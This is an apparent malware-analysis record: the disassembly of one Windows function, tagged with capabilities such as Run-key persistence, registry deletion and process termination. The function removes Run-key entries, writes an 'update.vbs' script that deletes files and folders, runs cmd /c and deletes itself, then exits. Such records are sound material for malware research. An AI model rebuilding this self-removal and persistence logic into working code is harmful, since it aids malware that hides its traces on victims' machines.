Function at 0x40bfde
Capabilities:
Create process on windows
Delete registry key
Persist via run registry key
Set file attributes
Terminate process

Disassembly:
sub esp, 0x2b4
push ebx
push ebp
push esi
push edi
call fcn.004112b5
cmp byte [0x46e9c4], 0x30
je 0x40bffb
call fcn.0040a7f2
xor ebx, ebx
inc ebx
cmp byte [0x46fd2b], bl
jne 0x40c00b
call fcn.00417a4a
cmp byte [0x46fa75], 0
je 0x40c025
mov ecx, 0x471cfc
call fcn.00401ee4
mov ecx, eax
call fcn.0041a01b
mov esi, 0x4721d0
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun_
cmp byte [0x46fb03], bl
jne 0x40c04c
mov ecx, esi
call fcn.00401ee4
push eax
mov edx, edi
mov ecx, connect
call fcn.00412414
pop ecx
mov ebp, connect
cmp byte [0x46fb00], bl
jne 0x40c06b
mov ecx, esi
call fcn.00401ee4
push eax
mov edx, edi
mov ecx, ebp
call fcn.00412414
pop ecx
cmp byte [0x46fb01], bl
jne 0x40c088
mov ecx, esi
call fcn.00401ee4
push eax
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, ebp
call fcn.00412414
pop ecx
mov esi, 0x472248
mov ecx, esi
call fcn.0040245c
push eax
mov ecx, esi
call fcn.00401f8b
push eax
mov esi, 0x208
lea eax, [esp + 0xc0]
push esi
push eax
mov ebx, 0x472200
push str.exepath
mov ecx, ebx
call fcn.00401f8b
mov edx, eax
call fcn.004120e8
add esp, 0x14
xor edi, edi
test al, al
jne 0x40c0dc
push esi
lea eax, [esp + 0xbc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, ebx
call fcn.00401f8b
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [esp + 0xb8]
push 0x80
push eax
call esi
mov ebx, eax
mov ebp, 0x469654
neg ebx
mov edx, ebp
mov ecx, 0x472218
sbb bl, bl
and bl, 1
call fcn.00408197
test al, al
je 0x40c134
push 0x80
mov ecx, 0x472218
call fcn.00401ee4
push eax
call esi
push str.update.vbs
push 0x463bd0
call fcn.00439e5f
pop ecx
push eax
lea ecx, [esp + 0x30]
call fcn.0040415e
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.00402ff4
pop ecx
lea ecx, [esp + 0x28]
call fcn.00401ee9
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [esp + 0x2c]
call fcn.0040415e
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [esp + 0x14]
call fcn.004042dc
pop ecx
lea ecx, [esp + 0x28]
call fcn.00401ee9
test bl, bl
je 0x40c1e5
push 0x463d98
lea eax, [esp + 0xbc]
push eax
lea ecx, [esp + 0x60]
call fcn.0040415e
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [esp + 0x48]
call fcn.004042dc
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00402ff4
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040323d
lea ecx, [esp + 0x28]
call fcn.00401ee9
lea ecx, [esp + 0x40]
call fcn.00401ee9
lea ecx, [esp + 0x58]
call fcn.00401ee9
mov esi, 0x463dd0
lea eax, [esp + 0xb8]
push esi
push eax
push str.fso.DeleteFile__
lea ecx, [esp + 0x34]
call fcn.0040415e
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00402ff4
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00402ff4
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040323d
lea ecx, [esp + 0x58]
call fcn.00401ee9
lea ecx, [esp + 0x40]
call fcn.00401ee9
lea ecx, [esp + 0x28]
call fcn.00401ee9
test bl, bl
je 0x40c250
push str.wend_n
lea ecx, [esp + 0x14]
call fcn.0040808e
mov ebx, 0x472218
mov edx, ebp
mov ecx, ebx
call fcn.00408197
test al, al
je 0x40c29b
push esi
push ebx
mov edx, str.fso.DeleteFolder__
lea ecx, [esp + 0x48]
call fcn.0040a8cc
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00402ff4
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040323d
lea ecx, [esp + 0x58]
call fcn.00401ee9
lea ecx, [esp + 0x40]
call fcn.00401ee9
push 0x463c74
push str._____0
lea ecx, [esp + 0xa8]
call fcn.0040415e
push eax
lea eax, [esp + 0x2d0]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [esp + 0x98]
call fcn.0040415e
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.004042fd
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00402f85
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00402ff4
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.0040323d
lea ecx, [esp + 0x58]
call fcn.00401ee9
lea ecx, [esp + 0x40]
call fcn.00401ee9
lea ecx, [esp + 0x28]
call fcn.00401ee9
lea ecx, [esp + 0x88]
call fcn.00401ee9
lea ecx, [esp + 0xa0]
call fcn.00401ee9
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [esp + 0x14]
call fcn.0040808e
push edi
lea ecx, [esp + 0x74]
call fcn.00401ee4
push eax
lea ecx, [esp + 0x18]
call fcn.0040245c
mov esi, eax
lea ecx, [esp + 0x18]
add esi, esi
call fcn.00401ee4
mov edx, esi
mov ecx, eax
call fcn.0041a17b
pop ecx
pop ecx
test al, al
je 0x40c38f
push edi
push ebp
push ebp
lea ecx, [esp + 0x7c]
call fcn.00401ee4
push eax
push 0x4630ac
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40c38f
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [esp + 0x10]
call fcn.00401ee9
lea ecx, [esp + 0x70]
call fcn.00401ee9
lea ecx, [esp + 0x2c8]
call fcn.00401ee9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret